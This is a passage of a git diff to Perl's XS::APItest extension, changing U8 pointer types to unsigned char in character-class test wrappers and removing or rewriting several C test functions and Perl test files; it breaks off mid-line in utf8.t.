@@ test_isALPHA_LC(UV ord) RETVAL bool -test_isALPHA_utf8(U8 * p, int type) +test_isALPHA_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4869,9 +4699,9 @@ test_isALPHA_utf8(U8 * p, int type) RETVAL bool -test_isALPHA_LC_utf8(U8 * p, int type) +test_isALPHA_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4933,9 +4763,9 @@ test_isWORDCHAR_LC(UV ord) RETVAL bool -test_isWORDCHAR_utf8(U8 * p, int type) +test_isWORDCHAR_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -4948,9 +4778,9 @@ test_isWORDCHAR_utf8(U8 * p, int type) RETVAL bool -test_isWORDCHAR_LC_utf8(U8 * p, int type) +test_isWORDCHAR_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5012,9 +4842,9 @@ test_isALPHANUMERIC_LC(UV ord) RETVAL bool -test_isALPHANUMERIC_utf8(U8 * p, int type) +test_isALPHANUMERIC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5027,9 +4857,9 @@ test_isALPHANUMERIC_utf8(U8 * p, int type) RETVAL bool -test_isALPHANUMERIC_LC_utf8(U8 * p, int type) +test_isALPHANUMERIC_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5070,9 +4900,9 @@ test_isALNUM_LC(UV ord) RETVAL bool -test_isALNUM_utf8(U8 * p, int type) +test_isALNUM_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5085,9 +4915,9 @@ test_isALNUM_utf8(U8 * p, int type) RETVAL bool -test_isALNUM_LC_utf8(U8 * p, int type) +test_isALNUM_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5121,9 +4951,9 @@ test_isDIGIT_LC_uvchr(UV ord) RETVAL bool -test_isDIGIT_utf8(U8 * p, int type) +test_isDIGIT_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5136,9 +4966,9 @@ test_isDIGIT_utf8(U8 * p, int type) RETVAL bool -test_isDIGIT_LC_utf8(U8 * p, int type) +test_isDIGIT_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5249,9 +5079,9 @@ test_isIDFIRST_LC(UV ord) RETVAL bool -test_isIDFIRST_utf8(U8 * p, int type) +test_isIDFIRST_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5264,9 +5094,9 @@ test_isIDFIRST_utf8(U8 * p, int type) RETVAL bool -test_isIDFIRST_LC_utf8(U8 * p, int type) +test_isIDFIRST_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5328,9 +5158,9 @@ test_isIDCONT_LC(UV ord) RETVAL bool -test_isIDCONT_utf8(U8 * p, int type) +test_isIDCONT_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5343,9 +5173,9 @@ test_isIDCONT_utf8(U8 * p, int type) RETVAL bool -test_isIDCONT_LC_utf8(U8 * p, int type) +test_isIDCONT_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5407,9 +5237,9 @@ test_isSPACE_LC(UV ord) RETVAL bool -test_isSPACE_utf8(U8 * p, int type) +test_isSPACE_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5422,9 +5252,9 @@ test_isSPACE_utf8(U8 * p, int type) RETVAL bool -test_isSPACE_LC_utf8(U8 * p, int type) +test_isSPACE_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5486,9 +5316,9 @@ test_isASCII_LC(UV ord) RETVAL bool -test_isASCII_utf8(U8 * p, int type) +test_isASCII_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: #ifndef DEBUGGING PERL_UNUSED_VAR(e); @@ -5504,9 +5334,9 @@ test_isASCII_utf8(U8 * p, int type) RETVAL bool -test_isASCII_LC_utf8(U8 * p, int type) +test_isASCII_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: #ifndef DEBUGGING PERL_UNUSED_VAR(e); @@ -5571,9 +5401,9 @@ test_isCNTRL_LC(UV ord) RETVAL bool -test_isCNTRL_utf8(U8 * p, int type) +test_isCNTRL_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5586,9 +5416,9 @@ test_isCNTRL_utf8(U8 * p, int type) RETVAL bool -test_isCNTRL_LC_utf8(U8 * p, int type) +test_isCNTRL_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5650,9 +5480,9 @@ test_isPRINT_LC(UV ord) RETVAL bool -test_isPRINT_utf8(U8 * p, int type) +test_isPRINT_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5665,9 +5495,9 @@ test_isPRINT_utf8(U8 * p, int type) RETVAL bool -test_isPRINT_LC_utf8(U8 * p, int type) +test_isPRINT_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5729,9 +5559,9 @@ test_isGRAPH_LC(UV ord) RETVAL bool -test_isGRAPH_utf8(U8 * p, int type) +test_isGRAPH_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5744,9 +5574,9 @@ test_isGRAPH_utf8(U8 * p, int type) RETVAL bool -test_isGRAPH_LC_utf8(U8 * p, int type) +test_isGRAPH_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5808,9 +5638,9 @@ test_isPUNCT_LC(UV ord) RETVAL bool -test_isPUNCT_utf8(U8 * p, int type) +test_isPUNCT_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5823,9 +5653,9 @@ test_isPUNCT_utf8(U8 * p, int type) RETVAL bool -test_isPUNCT_LC_utf8(U8 * p, int type) +test_isPUNCT_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5887,9 +5717,9 @@ test_isXDIGIT_LC(UV ord) RETVAL bool -test_isXDIGIT_utf8(U8 * p, int type) +test_isXDIGIT_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5902,9 +5732,9 @@ test_isXDIGIT_utf8(U8 * p, int type) RETVAL bool -test_isXDIGIT_LC_utf8(U8 * p, int type) +test_isXDIGIT_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5966,9 +5796,9 @@ test_isPSXSPC_LC(UV ord) RETVAL bool -test_isPSXSPC_utf8(U8 * p, int type) +test_isPSXSPC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -5981,9 +5811,9 @@ test_isPSXSPC_utf8(U8 * p, int type) RETVAL bool -test_isPSXSPC_LC_utf8(U8 * p, int type) +test_isPSXSPC_LC_utf8(unsigned char * p, int type) PREINIT: - const U8 * e; + const unsigned char * e; CODE: if (type >= 0) { e = p + UTF8SKIP(p) - type; @@ -6130,48 +5960,6 @@ test_is_utf8_string(char *s, STRLEN len) OUTPUT: RETVAL -#define WORDSIZE sizeof(PERL_UINTMAX_T) - -AV * -test_is_utf8_invariant_string_loc(U8 *s, STRLEN offset, STRLEN len) - PREINIT: - AV *av; - const U8 * ep = NULL; - PERL_UINTMAX_T* copy; - CODE: - /* 'offset' is number of bytes past a word boundary the testing of 's' - * is to start at. Allocate space that does start at the word - * boundary, and copy 's' to the correct offset past it. Then call the - * tested function with that position */ - Newx(copy, 1 + ((len + WORDSIZE - 1) / WORDSIZE), PERL_UINTMAX_T); - Copy(s, (U8 *) copy + offset, len, U8); - av = newAV(); - av_push(av, newSViv(is_utf8_invariant_string_loc((U8 *) copy + offset, len, &ep))); - av_push(av, newSViv(ep - ((U8 *) copy + offset))); - RETVAL = av; - Safefree(copy); - OUTPUT: - RETVAL - -STRLEN -test_variant_under_utf8_count(U8 *s, STRLEN offset, STRLEN len) - PREINIT: - PERL_UINTMAX_T * copy; - CODE: - Newx(copy, 1 + ((len + WORDSIZE - 1) / WORDSIZE), PERL_UINTMAX_T); - Copy(s, (U8 *) copy + offset, len, U8); - RETVAL = variant_under_utf8_count((U8 *) copy + offset, (U8 *) copy + offset + len); - Safefree(copy); - OUTPUT: - RETVAL - -STRLEN -test_utf8_length(U8 *s, STRLEN offset, STRLEN len) -CODE: - RETVAL = utf8_length(s + offset, s + len); -OUTPUT: - RETVAL - AV * test_is_utf8_string_loc(char *s, STRLEN len) PREINIT: @@ -6422,7 +6210,7 @@ test_toLOWER_utf8(SV * p, int type) STRLEN len; AV *av; SV *utf8; - const U8 * e; + const unsigned char * e; UV resultant_cp = UV_MAX; /* Initialized because of dumb compilers */ CODE: input = (U8 *) SvPV(p, len); @@ -6512,7 +6300,7 @@ test_toFOLD_utf8(SV * p, int type) STRLEN len; AV *av; SV *utf8; - const U8 * e; + const unsigned char * e; UV resultant_cp = UV_MAX; CODE: input = (U8 *) SvPV(p, len); @@ -6602,7 +6390,7 @@ test_toUPPER_utf8(SV * p, int type) STRLEN len; AV *av; SV *utf8; - const U8 * e; + const unsigned char * e; UV resultant_cp = UV_MAX; CODE: input = (U8 *) SvPV(p, len); @@ -6685,7 +6473,7 @@ test_toTITLE_utf8(SV * p, int type) STRLEN len; AV *av; SV *utf8; - const U8 * e; + const unsigned char * e; UV resultant_cp = UV_MAX; CODE: input = (U8 *) SvPV(p, len); @@ -6729,13 +6517,6 @@ test_Gconvert(SV * number, SV * num_digits) OUTPUT: RETVAL -SV * -test_Perl_langinfo(SV * item) - CODE: - RETVAL = newSVpv(Perl_langinfo(SvIV(item)), 0); - OUTPUT: - RETVAL - MODULE = XS::APItest PACKAGE = XS::APItest::Backrefs void @@ -6779,12 +6560,12 @@ Comctl32Version() if(!dll) croak("Comctl32Version: comctl32.dll not in process???"); hrsc = FindResource(dll, MAKEINTRESOURCE(VS_VERSION_INFO), - MAKEINTRESOURCE((Size_t)VS_FILE_INFO)); + MAKEINTRESOURCE(VS_FILE_INFO)); if(!hrsc) croak("Comctl32Version: comctl32.dll no version???"); ver = LoadResource(dll, hrsc); len = SizeofResource(dll, hrsc); - vercopy = (void *)sv_grow(sv_newmortal(),len); + vercopy = _alloca(len); memcpy(vercopy, ver, len); if (VerQueryValue(vercopy, "\\", (void**)&info, &len)) { int dwValueMS1 = (info->dwFileVersionMS>>16); diff --git a/ext/XS-APItest/APItest_BS b/ext/XS-APItest/APItest_BS index d9ec22fb628a..270dc9c682f5 100644 --- a/ext/XS-APItest/APItest_BS +++ b/ext/XS-APItest/APItest_BS @@ -1,7 +1,7 @@ # -# test that non-empty .bs files get executed (but only once) +# test that non-empty .bs files get executed $bscode = <<'EOF'; -$::bs_file_got_executed++; +$::bs_file_got_executed = 1; EOF diff --git a/ext/XS-APItest/Makefile.PL b/ext/XS-APItest/Makefile.PL index d79ba1150e0a..24078a6f8ce5 100644 --- a/ext/XS-APItest/Makefile.PL +++ b/ext/XS-APItest/Makefile.PL @@ -24,7 +24,6 @@ my @names = (qw(HV_DELETE HV_DISABLE_UVAR_XKEY HV_FETCH_ISSTORE HV_FETCH_ISEXISTS HV_FETCH_LVALUE HV_FETCH_JUST_SV G_SCALAR G_ARRAY G_VOID G_DISCARD G_EVAL G_NOARGS G_KEEPERR G_NODEBUG G_METHOD G_FAKINGEVAL - GV_NOADD_NOINIT IS_NUMBER_IN_UV IS_NUMBER_GREATER_THAN_UV_MAX IS_NUMBER_NOT_INT IS_NUMBER_NEG IS_NUMBER_INFINITY IS_NUMBER_NAN IS_NUMBER_TRAILING PERL_SCAN_TRAILING diff --git a/ext/XS-APItest/numeric.xs b/ext/XS-APItest/numeric.xs index 847eb75d7cdb..0ce9e080fff6 100644 --- a/ext/XS-APItest/numeric.xs +++ b/ext/XS-APItest/numeric.xs @@ -40,7 +40,7 @@ grok_atoUV(number, endsv) const char *pv = SvPV(number, len); UV value = 0xdeadbeef; bool result; - const char* endptr = pv + len; + const char* endptr; PPCODE: EXTEND(SP,2); if (endsv == &PL_sv_undef) { diff --git a/ext/XS-APItest/t/autoload.t b/ext/XS-APItest/t/autoload.t index b3599b362c3a..bb670e91b6a4 100644 --- a/ext/XS-APItest/t/autoload.t +++ b/ext/XS-APItest/t/autoload.t @@ -80,12 +80,12 @@ is join(" ", eval 'a "b", "c"'), '$', ok(XS::APItest::AUTOLOADtest->can('AUTOLOAD'), 'Test class ->can AUTOLOAD'); # Used to communicate from the XS AUTOLOAD to Perl land -our $the_method; +use vars '$the_method'; # First, set up the Perl equivalent to what we're testing in # XS so we have a comparison package PerlBase; -our $AUTOLOAD; +use vars '$AUTOLOAD'; sub AUTOLOAD { Test::More::ok(defined $AUTOLOAD); return 1 if not defined $AUTOLOAD; @@ -94,10 +94,12 @@ sub AUTOLOAD { } package PerlDerived; -our @ISA = qw(PerlBase); +use vars '@ISA'; +@ISA = qw(PerlBase); package Derived; -our @ISA = qw(XS::APItest::AUTOLOADtest); +use vars '@ISA'; +@ISA = qw(XS::APItest::AUTOLOADtest); package main; diff --git a/ext/XS-APItest/t/bootstrap.t b/ext/XS-APItest/t/bootstrap.t index 2c6c03466fa0..6992b108505a 100644 --- a/ext/XS-APItest/t/bootstrap.t +++ b/ext/XS-APItest/t/bootstrap.t @@ -11,7 +11,7 @@ use strict; use Test::More; use XS::APItest; -is $::bs_file_got_executed, 1, "BS file was executed once"; +is $::bs_file_got_executed, 1, "BS file was executed"; done_testing(); diff --git a/ext/XS-APItest/t/call.t b/ext/XS-APItest/t/call.t index 8192b9bd36a2..355e49886e83 100644 --- a/ext/XS-APItest/t/call.t +++ b/ext/XS-APItest/t/call.t @@ -33,7 +33,7 @@ sub i { $call_sv_count++; } call_sv_C(); -is($call_sv_count, 7, "call_sv_C passes"); +is($call_sv_count, 6, "call_sv_C passes"); sub d { die "its_dead_jim\n"; diff --git a/ext/XS-APItest/t/fetch_pad_names.t b/ext/XS-APItest/t/fetch_pad_names.t index 7670e9b3afa7..bdff1a8fe624 100644 --- a/ext/XS-APItest/t/fetch_pad_names.t +++ b/ext/XS-APItest/t/fetch_pad_names.t @@ -321,10 +321,11 @@ sub general_tests { $tests->{pad_size}{invariant}{msg}; for my $var (@{$tests->{vars}}) { + no warnings 'experimental::smartmatch'; if ($var->{type} eq 'ok') { - ok +(grep { $_ eq $var->{name} } @$names_av), $var->{msg}; + ok $var->{name} ~~ $names_av, $var->{msg}; } else { - ok !(grep { $_ eq $var->{name} } @$names_av), $var->{msg}; + ok !($var->{name} ~~ $names_av), $var->{msg}; } } diff --git a/ext/XS-APItest/t/get.t b/ext/XS-APItest/t/get.t deleted file mode 100644 index 2264d664f9db..000000000000 --- a/ext/XS-APItest/t/get.t +++ /dev/null @@ -1,22 +0,0 @@ - -# Tests for the get_*v functions. - -use Test::More tests => 5; -use XS::APItest; - -# XXX So far we only test get_cv. - -is get_cv("utf8::encode"), \&utf8::encode, 'get_cv(utf8::encode)'; - -sub foo { " ooof" } # should be stored in the stash as a subref -die "Test has been sabotaged: sub foo{} should not create a full glob" - unless ref $::{foo} eq 'CODE'; - -my $subref = get_cv("foo"); -is ref $subref, "CODE", 'got a coderef from get_cv("globless sub")'; -is &$subref, " ooof", 'got the right sub'; - -sub bar { "burr" } -$subref = get_cv_flags("bar",GV_NOADD_NOINIT); -is ref $subref, "CODE", 'got a coderef from get_cv with GV_NOADD_NOINIT'; -is &$subref, "burr", 'got the right sub'; diff --git a/ext/XS-APItest/t/grok.t b/ext/XS-APItest/t/grok.t index b6ad905b60a5..810ffaed5fad 100644 --- a/ext/XS-APItest/t/grok.t +++ b/ext/XS-APItest/t/grok.t @@ -4,6 +4,7 @@ use strict; use Test::More; use Config; use XS::APItest; +use feature 'switch'; no warnings 'experimental::smartmatch'; use constant TRUTH => '0 but true'; @@ -30,15 +31,21 @@ foreach my $leader ('', ' ', ' ') { { my (@UV, @NV); - if ($Config{ivsize} == 4) { - @UV = qw(429496729 4294967290 4294967294 4294967295); - @NV = qw(4294967296 4294967297 4294967300 4294967304); - } elsif ($Config{ivsize} == 8) { - @UV = qw(1844674407370955161 18446744073709551610 - 18446744073709551614 18446744073709551615); - @NV = qw(18446744073709551616 18446744073709551617 - 18446744073709551620 18446744073709551624); - } else { die "Unknown IV size $Config{ivsize}" } + given ($Config{ivsize}) { + when (4) { + @UV = qw(429496729 4294967290 4294967294 4294967295); + @NV = qw(4294967296 4294967297 4294967300 4294967304); + } + when (8) { + @UV = qw(1844674407370955161 18446744073709551610 + 18446744073709551614 18446744073709551615); + @NV = qw(18446744073709551616 18446744073709551617 + 18446744073709551620 18446744073709551624); + } + default { + die "Unknown IV size $_"; + } + } foreach (@UV) { my $string = $leader . $_ . $trailer; my ($flags, $value) = grok_number($string); diff --git a/ext/XS-APItest/t/gv_fetchmeth.t b/ext/XS-APItest/t/gv_fetchmeth.t index 9ba1650e8f3c..9f6e884a112a 100644 --- a/ext/XS-APItest/t/gv_fetchmeth.t +++ b/ext/XS-APItest/t/gv_fetchmeth.t @@ -3,7 +3,7 @@ use strict; use warnings; -use Test::More tests => 44; +use Test::More tests => 40; use_ok('XS::APItest'); @@ -45,10 +45,6 @@ ok !XS::APItest::gv_fetchmeth_type(\%::, "method\0not quite!", 3, $level, 0), "g sub method { 1 } - use constant { φου1 => 1, - φου2 => 2, - φου3 => 3, }; - my $meth_as_octets = "\357\275\215\357\275\205\357\275\224\357\275\210\357\275\217\357\275\204"; @@ -57,7 +53,6 @@ ok !XS::APItest::gv_fetchmeth_type(\%::, "method\0not quite!", 3, $level, 0), "g ::is XS::APItest::gv_fetchmeth_type(\%main::, "method", $type, $level, 0), "*main::method", "$types[$type] is UTF-8 clean"; ::ok !XS::APItest::gv_fetchmeth_type(\%main::, $meth_as_octets, $type, $level, 0); ::ok !XS::APItest::gv_fetchmeth_type(\%main::, "method", $type, $level, 0); - ::is XS::APItest::gv_fetchmeth_type(\%main::, "φου$type", $type, $level, 0), "*main::φου$type", "$types[$type] can fetch UTF-8 constant"; { no strict 'refs'; @@ -70,10 +65,3 @@ ok !XS::APItest::gv_fetchmeth_type(\%::, "method\0not quite!", 3, $level, 0), "g } } } - -{ - @Foo::ISA = qw/Bar/; - @Bar::ISA = qw//; - - is(XS::APItest::gv_fetchmeth_type(\%Foo::, "nomethod", 1, -1, 0), undef, 'gv_fetchmeth_sv survives @ISA traversal'); -} diff --git a/ext/XS-APItest/t/handy_base.pl b/ext/XS-APItest/t/handy_base.pl index 7e8194e64330..676f7dfe6cf2 100644 --- a/ext/XS-APItest/t/handy_base.pl +++ b/ext/XS-APItest/t/handy_base.pl @@ -168,7 +168,6 @@ ($$$) # This test is split into this number of files. my $num_test_files = $ENV{TEST_JOBS} || 1; -$::TEST_CHUNK = 0 if $num_test_files == 1 && ! defined $::TEST_CHUNK; $num_test_files = 10 if $num_test_files > 10; my $property_count = -1; diff --git a/ext/XS-APItest/t/keyword_plugin_threads.t b/ext/XS-APItest/t/keyword_plugin_threads.t deleted file mode 100644 index db23ce7d58c8..000000000000 --- a/ext/XS-APItest/t/keyword_plugin_threads.t +++ /dev/null @@ -1,32 +0,0 @@ -#!perl -use strict; -use warnings; - -require '../../t/test.pl'; - -use Config; -if (!$Config{useithreads}) { - skip_all("keyword_plugin thread test requires threads"); -} - -plan(1); - -fresh_perl_is( <<'----', <<'====', {}, "loading XS::APItest in threads works"); -use strict; -use warnings; - -use threads; - -require '../../t/test.pl'; -watchdog(5); - -for my $t (1 .. 3) { - threads->create(sub { - require XS::APItest; - })->join; -} - -print "all is well\n"; ----- -all is well -==== diff --git a/ext/XS-APItest/t/locale.t b/ext/XS-APItest/t/locale.t index 9d338323c2cf..be594b08041f 100644 --- a/ext/XS-APItest/t/locale.t +++ b/ext/XS-APItest/t/locale.t @@ -22,6 +22,9 @@ for (@locales) { } } +skip_all("no non-dot radix locales available") unless $non_dot_locale; + +plan tests => 2; SKIP: { if ($Config{usequadmath}) { @@ -31,118 +34,3 @@ SKIP: { use locale; is(test_Gconvert(4.179, 2), "4.2", "Gconvert doesn't recognize underlying locale inside 'use locale'"); } - -my %correct_C_responses = ( - # Entries that are undef could have varying returns - ABDAY_1 => 'Sun', - ABDAY_2 => 'Mon', - ABDAY_3 => 'Tue', - ABDAY_4 => 'Wed', - ABDAY_5 => 'Thu', - ABDAY_6 => 'Fri', - ABDAY_7 => 'Sat', - ABMON_1 => 'Jan', - ABMON_2 => 'Feb', - ABMON_3 => 'Mar', - ABMON_4 => 'Apr', - ABMON_5 => 'May', - ABMON_6 => 'Jun', - ABMON_7 => 'Jul', - ABMON_8 => 'Aug', - ABMON_9 => 'Sep', - ABMON_10 => 'Oct', - ABMON_11 => 'Nov', - ABMON_12 => 'Dec', - ALT_DIGITS => undef, - AM_STR => 'AM', - CODESET => undef, - CRNCYSTR => undef, - DAY_1 => 'Sunday', - DAY_2 => 'Monday', - DAY_3 => 'Tuesday', - DAY_4 => 'Wednesday', - DAY_5 => 'Thursday', - DAY_6 => 'Friday', - DAY_7 => 'Saturday', - D_FMT => undef, - D_T_FMT => undef, - ERA => '', - ERA_D_FMT => undef, - ERA_D_T_FMT => undef, - ERA_T_FMT => undef, - MON_1 => 'January', - MON_2 => 'February', - MON_3 => 'March', - MON_4 => 'April', - MON_5 => 'May', - MON_6 => 'June', - MON_7 => 'July', - MON_8 => 'August', - MON_9 => 'September', - MON_10 => 'October', - MON_11 => 'November', - MON_12 => 'December', - NOEXPR => undef, - NOSTR => undef, - PM_STR => 'PM', - RADIXCHAR => '.', - THOUSEP => '', - T_FMT => undef, - T_FMT_AMPM => undef, - YESEXPR => undef, - YESSTR => undef, - ); - -my $hdr = "../../perl_langinfo.h"; -open my $fh, "<", $hdr; -$|=1; - -SKIP: { - skip "No LC_ALL", 1 unless find_locales( &LC_ALL ); - - use POSIX; - setlocale(LC_ALL, "C"); - eval "use I18N::Langinfo qw(langinfo RADIXCHAR); langinfo(RADIXCHAR)"; - my $has_nl_langinfo = $@ eq ""; - - skip "Can't open $hdr for reading: $!", 1 unless $fh; - - my %items; - - # Find all the current items from the header, and their values. - # For non-nl_langinfo systems, those values are arbitrary negative numbers - # set in the header. Otherwise they are the nl_langinfo approved values, - # which for the moment is the item name. - # The relevant lines look like: # define YESSTR -54 - while (<$fh>) { - chomp; - next unless / - \d+ $ /x; - s/ ^ \# \s* define \s*//x; - m/ (.*) \ (.*) /x; - $items{$1} = ($has_nl_langinfo) - ? $1 # Yields 'YESSTR' - : $2; # Yields -54 - } - - # Get the translation from item name to numeric value. - I18N::Langinfo->import(keys %items) if $has_nl_langinfo; - - foreach my $formal_item (sort keys %items) { - if (exists $correct_C_responses{$formal_item}) { - my $correct = $correct_C_responses{$formal_item}; - my $item = eval $items{$formal_item}; - skip "This platform apparently doesn't support $formal_item", 1 if $@; - my $result = test_Perl_langinfo($item); - if (defined $correct) { - is ($result, $correct, - "Returns expected value" . "('$correct') for $formal_item"); - } - else { - ok (defined $result, - "Returns a value (in this case '$result') for $formal_item"); - } - } - } -} - -done_testing(); diff --git a/ext/XS-APItest/t/loopblock.t b/ext/XS-APItest/t/loopblock.t index 7f654a5424c1..3b688bc811a5 100644 --- a/ext/XS-APItest/t/loopblock.t +++ b/ext/XS-APItest/t/loopblock.t @@ -70,7 +70,7 @@ eval q{ my $x = "a"; $t .= $x; do { - no warnings "shadow"; + no warnings "misc"; $t .= $x; my $x = "b"; $t .= $x; diff --git a/ext/XS-APItest/t/looprest.t b/ext/XS-APItest/t/looprest.t index aa3116daa842..e37ef87941aa 100644 --- a/ext/XS-APItest/t/looprest.t +++ b/ext/XS-APItest/t/looprest.t @@ -66,7 +66,7 @@ eval q{ my $x = "a"; $t .= $x; do { - no warnings "shadow"; + no warnings "misc"; $t .= $x; my $x = "b"; $t .= $x; diff --git a/ext/XS-APItest/t/sviscow.t b/ext/XS-APItest/t/sviscow.t index d0f3062f5d85..bcc9da8ebdcd 100644 --- a/ext/XS-APItest/t/sviscow.t +++ b/ext/XS-APItest/t/sviscow.t @@ -1,10 +1,10 @@ use strict; +use warnings; no warnings 'once'; use Test::More tests => 1; use XS::APItest; use Hash::Util 'lock_value'; -use warnings; no warnings 'once', 'Hash::Util'; my %h; $h{g} = *foo; diff --git a/ext/XS-APItest/t/utf8.t b/ext/XS-APItest/t/utf8.t index 1edc02d64345..c7a032efde46 100644 --- a/ext/XS-APItest/t/utf8.t +++ b/ext/XS-APItest/t/utf8.t @@ -13,116 +13,10 @@ BEGIN { $|=1; -use XS::APItest; -use Config; -my $word_length = defined $Config{quadkind} ? 8 : 4; - -# Below we test some byte-oriented functions that look for UTF-8 variant bytes -# and we know can work on full words at a time. Hence this is not black box -# testing. We know how long a word is. Suppose it is 4. We set things up so -# that we have a string containing 3 bytes followed by 4, followed by 3, and -# we tell our APItest functions to position the string so it starts at 1 byte -# past a word boundary. That way the first 3 bytes are the final ones of a -# word, and the final 3 are the initial ones of a non-complete word. This -# assumes that the initial and final non-full word bytes are treated -# individually, so we don't have to test the various combinations of partially -# filled words. - -my $offset = 1; # Start 1 byte past word boundary. - -# We choose an invariant and a variant that are at the boundaries between -# those two types on ASCII platforms. And, just in case the EBCDIC ever -# changes to do per-word, we choose arbitrarily an invariant that has most of -# its bits set natively, and a variant that has most unset. First create -# versions for display in the test names. -my $display_invariant = isASCII ? "7F" : sprintf "%02X", utf8::unicode_to_native(0x9F); -my $display_variant = isASCII ? "80" : sprintf "%02X", utf8::unicode_to_native(0xA0); -my $invariant = chr hex $display_invariant; -my $variant = chr hex $display_variant; - -# We create a string with the correct number of bytes. The -1 is to make the -# final portion not quite fill a full word and $offset to do the same for the -# initial portion.) -my $string_length = 3 * $word_length - 1 - $offset; -my $all_invariants = $invariant x $string_length; -my $display_all_invariants = $display_invariant x $string_length; - -my $ret_ref = test_is_utf8_invariant_string_loc($all_invariants, $offset, - length $all_invariants); -pass("The tests below are for is_utf8_invariant_string_loc() with string" - . " starting $offset bytes after a word boundary"); -is($ret_ref->[0], 1, "$display_all_invariants contains no variants"); - -# Just create a string with a single variant, in all the possible positions. -for my $pos (0.. length($all_invariants) - 1) { - my $test_string = $all_invariants; - my $test_display = $display_all_invariants; - - substr($test_string, $pos, 1) = $variant; - substr($test_display, $pos * 2, 2) = $display_variant; - my $ret_ref = test_is_utf8_invariant_string_loc($test_string, $offset, - length $test_string); - if (is($ret_ref->[0], 0, "$test_display has a variant")) { - is($ret_ref->[1], $pos, " at position $pos"); - } -} - -# Now work on variant_under_utf8_count(). -pass("The tests below are for variant_under_utf8_count() with string" - . " starting $offset bytes after a word boundary"); -is(test_variant_under_utf8_count($all_invariants, $offset, - length $all_invariants), - 0, - "$display_all_invariants contains 0 variants"); - -# First, put a variant in each possible position in the flanking partial words -for my $pos (0 .. $word_length - $offset, - 2 * $word_length .. length($all_invariants) - 1) -{ - my $test_string = $all_invariants; - my $test_display = $display_all_invariants; - - substr($test_string, $pos, 1) = $variant; - substr($test_display, $pos * 2, 2) = $display_variant; - is(test_variant_under_utf8_count($test_string, $offset, length $test_string), - 1, - "$test_display contains 1 variant"); -} - -# Then try all possible combinations of variant/invariant in the full word in -# the middle (We've already tested the case with 0 variants, so start at 1.) -for my $bit_pattern (1 .. (1 << $word_length) - 1) { - my $bits = $bit_pattern; - my $display_word = ""; - my $test_word = ""; - my $count = 0; - - # Every 1 bit gets the variant for this particular $bit_pattern. - for my $bit (0 .. 7) { - if ($bits & 1) { - $count++; - $test_word .= $variant; - $display_word .= $display_variant; - } - else { - $test_word .= $invariant; - $display_word .= $display_invariant; - } - $bits >>= 1; - } - - my $test_string = $variant x ($word_length - 1) - . $test_word - . $variant x ($word_length - 1); - my $display_string = $display_variant x ($word_length - 1) - . $display_word - . $display_variant x ($word_length - 